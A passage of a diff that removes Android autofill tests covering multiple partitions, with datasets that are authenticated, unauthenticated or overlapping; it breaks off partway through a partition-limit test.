-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth22)
-                        .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 2, "L2C2");
-
-        // Trigger partition.
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Focus around different fields in the partition.
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P2D1", "P2D2");
-
-        // Autofill it...
-        mUiBot.selectDataset("P2D2");
-        // ... and assert result
-        expectation2.assertAutoFilled();
-
-        /**
-         * 3rd partition.
-         */
-        // Set expectations.
-        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
-                new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1")
-                        .setField(ID_L3C2, "l3c2")
-                        .build());
-        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth31)
-                        .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth32)
-                        .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "l3c1")
-                .onCell(3, 2, "l3c2");
-
-        // Trigger partition.
-        focusCell(3, 2);
-        sReplier.getNextFillRequest();
-
-        // Focus around different fields in the partition.
-        mUiBot.assertDatasets("P3D1", "P3D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-
-        // Autofill it...
-        mUiBot.selectDataset("P3D1");
-        // ... and assert result
-        expectation3.assertAutoFilled();
-
-        /**
-         * 4th partition.
-         */
-        // Set expectations.
-        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
-        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
-                new CannedDataset.Builder()
-                    .setField(ID_L4C1, "L4C1")
-                    .setField(ID_L4C2, "L4C2")
-                    .build());
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth41)
-                        .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth42)
-                        .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "L4C1")
-                .onCell(4, 2, "L4C2");
-
-        // Trigger partition.
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        // Focus around different fields in the partition.
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("P4D2");
-
-        // Autofill it...
-        mUiBot.selectDataset("P4D2");
-        // ... and assert result
-        expectation4.assertAutoFilled();
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset and all datasets require auth,
-     * but they don't overlap, i.e., each {@link FillResponse} only contain fields within the
-     * partition.
-     */
-    @Test
-    public void testAutofillMultipleAuthDatasetsNoOverlap() throws Exception {
-        // Set service.
-        enableService();
-
-        /**
-         * 1st partition.
-         */
-        // Set expectations.
-        final IntentSender auth11 = AuthenticationActivity.createSender(getContext(), 11,
-                new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .build());
-        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth11)
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("P1D1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth12)
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("P1D2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger partition.
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 2nd partition.
-         */
-        // Set expectations.
-        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 21);
-        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
-                new CannedDataset.Builder()
-                    .setField(ID_L2C2, "L2C2")
-                    .build());
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth21)
-                        .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth22)
-                        .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 2, "L2C2");
-
-        // Trigger partition.
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 3rd partition.
-         */
-        // Set expectations.
-        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
-                new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1")
-                        .setField(ID_L3C2, "l3c2")
-                        .build());
-        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth31)
-                        .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth32)
-                        .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "l3c1")
-                .onCell(3, 2, "l3c2");
-
-        // Trigger partition.
-        focusCell(3, 2);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 4th partition.
-         */
-        // Set expectations.
-        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
-        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
-                new CannedDataset.Builder()
-                    .setField(ID_L4C1, "L4C1")
-                    .setField(ID_L4C2, "L4C2")
-                    .build());
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth41)
-                        .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth42)
-                        .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "L4C1")
-                .onCell(4, 2, "L4C2");
-
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        /*
-         *  Now move focus around to make sure the proper values are displayed each time.
-         */
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P1D1", "P1D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P2D1", "P2D2");
-
-        focusCell(4, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("P4D2");
-
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-
-        /*
-         *  Finally, autofill and check results.
-         */
-        focusCell(4, 1);
-        mUiBot.selectDataset("P4D2");
-        expectation4.assertAutoFilled();
-
-        focusCell(1, 1);
-        mUiBot.selectDataset("P1D1");
-        expectation1.assertAutoFilled();
-
-        focusCell(3, 1);
-        mUiBot.selectDataset("P3D1");
-        expectation3.assertAutoFilled();
-
-        focusCell(2, 2);
-        mUiBot.selectDataset("P2D2");
-        expectation2.assertAutoFilled();
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset and some datasets require auth,
-     * but they don't overlap, i.e., each {@link FillResponse} only contain fields within the
-     * partition.
-     */
-    @Test
-    public void testAutofillMultipleDatasetsMixedAuthNoAuthNoOverlap() throws Exception {
-        // Set service.
-        enableService();
-
-        /**
-         * 1st partition.
-         */
-        // Set expectations.
-        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .setPresentation(createPresentation("P1D1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth12)
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("P1D2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger partition.
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 2nd partition.
-         */
-        // Set expectations.
-        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
-                new CannedDataset.Builder()
-                    .setField(ID_L2C2, "L2C2")
-                    .build());
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L2C1, "l2c1")
-                        .setField(ID_L2C2, "l2c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth22)
-                        .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 2, "L2C2");
-
-        // Trigger partition.
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 3rd partition.
-         */
-        // Set expectations.
-        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
-                new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1")
-                        .setField(ID_L3C2, "l3c2")
-                        .build());
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth31)
-                        .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L3C1, "L3C1")
-                        .setField(ID_L3C2, "L3C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "l3c1")
-                .onCell(3, 2, "l3c2");
-
-        // Trigger partition.
-        focusCell(3, 2);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 4th partition.
-         */
-        // Set expectations.
-        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth41)
-                        .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L4C1, "L4C1")
-                        .setField(ID_L4C2, "L4C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "L4C1")
-                .onCell(4, 2, "L4C2");
-
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        /*
-         *  Now move focus around to make sure the proper values are displayed each time.
-         */
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P1D1", "P1D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P2D1", "P2D2");
-
-        focusCell(4, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("P4D2");
-
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-
-        /*
-         *  Finally, autofill and check results.
-         */
-        focusCell(4, 1);
-        mUiBot.selectDataset("P4D2");
-        expectation4.assertAutoFilled();
-
-        focusCell(1, 1);
-        mUiBot.selectDataset("P1D1");
-        expectation1.assertAutoFilled();
-
-        focusCell(3, 1);
-        mUiBot.selectDataset("P3D1");
-        expectation3.assertAutoFilled();
-
-        focusCell(2, 2);
-        mUiBot.selectDataset("P2D2");
-        expectation2.assertAutoFilled();
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset - some authenticated and some
-     * not - but they overlap, i.e., some fields are present in more than one partition.
-     *
-     * <p>Whenever a new partition defines a field previously present in another partittion, that
-     * partition will "own" that field.
-     *
-     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
-     * the first.
-     */
-    @Test
-    public void testAutofillMultipleAuthDatasetsOverlapPickFirst() throws Exception {
-        autofillMultipleAuthDatasetsOverlapping(true);
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset - some authenticated and some
-     * not - but they overlap, i.e., some fields are present in more than one partition.
-     *
-     * <p>Whenever a new partition defines a field previously present in another partittion, that
-     * partition will "own" that field.
-     *
-     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
-     * the second.
-     */
-    @Test
-    public void testAutofillMultipleAuthDatasetsOverlapPickSecond() throws Exception {
-        autofillMultipleAuthDatasetsOverlapping(false);
-    }
-
-    private void autofillMultipleAuthDatasetsOverlapping(boolean pickFirst) throws Exception {
-        // Set service.
-        enableService();
-
-        /**
-         * 1st partition.
-         */
-        // Set expectations.
-        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "1l1c1")
-                        .setField(ID_L1C2, "1l1c2")
-                        .setPresentation(createPresentation("P1D1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth12)
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("P1D2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        // Trigger partition.
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        mUiBot.assertDatasets("P1D1", "P1D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-
-        /**
-         * 2nd partition.
-         */
-        // Set expectations.
-        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 22,
-                new CannedDataset.Builder()
-                    .setField(ID_L1C1, "2l1c1") // from previous partition
-                    .setField(ID_L2C1, "2l2c1")
-                    .setField(ID_L2C2, "2l2c2")
-                    .build());
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth21)
-                        .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, "2L2C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-
-        // Trigger partition.
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P2D1"); // changed
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P2D1", "P2D2");
-
-        /**
-         * 3rd partition.
-         */
-        // Set expectations.
-        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
-                new CannedDataset.Builder()
-                        .setField(ID_L1C2, "3l1c2") // from previous partition
-                        .setField(ID_L3C1, "3l3c1")
-                        .setField(ID_L3C2, "3l3c2")
-                        .build());
-        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth31)
-                        .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth32)
-                        .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-
-        // Trigger partition.
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P3D1"); // changed
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P3D2"); // changed
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-
-        /**
-         * 4th partition.
-         */
-        // Set expectations.
-        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41,
-                new CannedDataset.Builder()
-                        .setField(ID_L1C1, "4l1c1") // from previous partition
-                        .setField(ID_L1C2, "4l1c2") // from previous partition
-                        .setField(ID_L2C1, "4l2c1") // from previous partition
-                        .setField(ID_L2C2, "4l2c2") // from previous partition
-                        .setField(ID_L3C1, "4l3c1") // from previous partition
-                        .setField(ID_L3C2, "4l3c2") // from previous partition
-                        .setField(ID_L4C1, "4l4c1")
-                        .build());
-        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
-                new CannedDataset.Builder()
-                        .setField(ID_L1C1, "4L1C1") // from previous partition
-                        .setField(ID_L1C2, "4L1C2") // from previous partition
-                        .setField(ID_L2C1, "4L2C1") // from previous partition
-                        .setField(ID_L2C2, "4L2C2") // from previous partition
-                        .setField(ID_L3C1, "4L3C1") // from previous partition
-                        .setField(ID_L3C2, "4L3C2") // from previous partition
-                        .setField(ID_L1C1, "4L1C1") // from previous partition
-                        .setField(ID_L4C1, "4L4C1")
-                        .setField(ID_L4C2, "4L4C2")
-                        .build());
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth41)
-                        .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth42)
-                        .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-
-        // Trigger partition.
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("P4D2");
-
-        /*
-         * Finally, autofill and check results.
-         */
-        final FillExpectation expectation = mActivity.expectAutofill();
-        final String chosenOne;
-        if (pickFirst) {
-            expectation
-                .onCell(1, 1, "4l1c1")
-                .onCell(1, 2, "4l1c2")
-                .onCell(2, 1, "4l2c1")
-                .onCell(2, 2, "4l2c2")
-                .onCell(3, 1, "4l3c1")
-                .onCell(3, 2, "4l3c2")
-                .onCell(4, 1, "4l4c1");
-            chosenOne = "P4D1";
-        } else {
-            expectation
-                .onCell(1, 1, "4L1C1")
-                .onCell(1, 2, "4L1C2")
-                .onCell(2, 1, "4L2C1")
-                .onCell(2, 2, "4L2C2")
-                .onCell(3, 1, "4L3C1")
-                .onCell(3, 2, "4L3C2")
-                .onCell(4, 1, "4L4C1")
-                .onCell(4, 2, "4L4C2");
-            chosenOne = "P4D2";
-        }
-
-        focusCell(4, 1);
-        mUiBot.selectDataset(chosenOne);
-        expectation.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofillAllResponsesAuthenticated() throws Exception {
-        // Set service.
-        enableService();
-
-        // Prepare 1st partition.
-        final IntentSender auth1 = AuthenticationActivity.createSender(getContext(), 1,
-                new CannedFillResponse.Builder()
-                        .addDataset(new CannedDataset.Builder()
-                                .setPresentation(createPresentation("Partition 1"))
-                                .setField(ID_L1C1, "l1c1")
-                                .setField(ID_L1C2, "l1c2")
-                                .build())
-                        .build());
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .setPresentation(createPresentation("Auth 1"))
-                .setAuthentication(auth1, ID_L1C1, ID_L1C2)
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertDatasets("Auth 1");
-
-        // Prepare 2nd partition.
-        final IntentSender auth2 = AuthenticationActivity.createSender(getContext(), 2,
-                new CannedFillResponse.Builder()
-                        .addDataset(new CannedDataset.Builder()
-                                .setPresentation(createPresentation("Partition 2"))
-                                .setField(ID_L2C1, "l2c1")
-                                .setField(ID_L2C2, "l2c2")
-                                .build())
-                        .build());
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .setPresentation(createPresentation("Auth 2"))
-                .setAuthentication(auth2, ID_L2C1, ID_L2C2)
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 1, "l2c1")
-                .onCell(2, 2, "l2c2");
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertDatasets("Auth 2");
-
-        // Prepare 3rd partition.
-        final IntentSender auth3 = AuthenticationActivity.createSender(getContext(), 3,
-                new CannedFillResponse.Builder()
-                        .addDataset(new CannedDataset.Builder()
-                                .setPresentation(createPresentation("Partition 3"))
-                                .setField(ID_L3C1, "l3c1")
-                                .setField(ID_L3C2, "l3c2")
-                                .build())
-                        .build());
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .setPresentation(createPresentation("Auth 3"))
-                .setAuthentication(auth3, ID_L3C1, ID_L3C2)
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "l3c1")
-                .onCell(3, 2, "l3c2");
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertDatasets("Auth 3");
-
-        // Prepare 4th partition.
-        final IntentSender auth4 = AuthenticationActivity.createSender(getContext(), 4,
-                new CannedFillResponse.Builder()
-                        .addDataset(new CannedDataset.Builder()
-                                .setPresentation(createPresentation("Partition 4"))
-                                .setField(ID_L4C1, "l4c1")
-                                .setField(ID_L4C2, "l4c2")
-                                .build())
-                        .build());
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .setPresentation(createPresentation("Auth 4"))
-                .setAuthentication(auth4, ID_L4C1, ID_L4C2)
-                .build();
-        sReplier.addResponse(response4);
-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "l4c1")
-                .onCell(4, 2, "l4c2");
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertDatasets("Auth 4");
-
-        // Now play around the focus to make sure they still display the right values.
-
-        focusCell(1, 2);
-        mUiBot.assertDatasets("Auth 1");
-        focusCell(1, 1);
-        mUiBot.assertDatasets("Auth 1");
-
-        focusCell(3, 1);
-        mUiBot.assertDatasets("Auth 3");
-        focusCell(3, 2);
-        mUiBot.assertDatasets("Auth 3");
-
-        focusCell(2, 1);
-        mUiBot.assertDatasets("Auth 2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("Auth 4");
-
-        focusCell(2, 2);
-        mUiBot.assertDatasets("Auth 2");
-        focusCell(4, 1);
-        mUiBot.assertDatasets("Auth 4");
-
-        // Finally, autofill and check them.
-        focusCell(2, 1);
-        mUiBot.selectDataset("Auth 2");
-        mUiBot.selectDataset("Partition 2");
-        expectation2.assertAutoFilled();
-
-        focusCell(4, 1);
-        mUiBot.selectDataset("Auth 4");
-        mUiBot.selectDataset("Partition 4");
-        expectation4.assertAutoFilled();
-
-        focusCell(3, 1);
-        mUiBot.selectDataset("Auth 3");
-        mUiBot.selectDataset("Partition 3");
-        expectation3.assertAutoFilled();
-
-        focusCell(1, 1);
-        mUiBot.selectDataset("Auth 1");
-        mUiBot.selectDataset("Partition 1");
-        expectation1.assertAutoFilled();
-    }
-
-    @Test
-    public void testNoMorePartitionsAfterLimitReached() throws Exception {
-        final int maxBefore = getMaxPartitions();
-        try {
-            setMaxPartitions(1);
-            // Set service.
-            enableService();
-
-            // Prepare 1st partition.
-            final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                    .addDataset(new CannedDataset.Builder()
-                            .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                            .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                            .build())
-                    .build();
-            sReplier.addResponse(response1);
-
-            // Trigger autofill.
-            focusCell(1, 1);
-            sReplier.getNextFillRequest();
-
-            // Make sure UI is shown, but don't tap it.
-            mUiBot.assertDatasets("l1c1");
-            focusCell(1, 2);
-            mUiBot.assertDatasets("l1c2");
-
-            // Prepare 2nd partition.
-            final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                    .addDataset(new CannedDataset.Builder()
-                            .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                            .build())
-                    .build();
-            sReplier.addResponse(response2);
-
-            // Trigger autofill on 2nd partition.
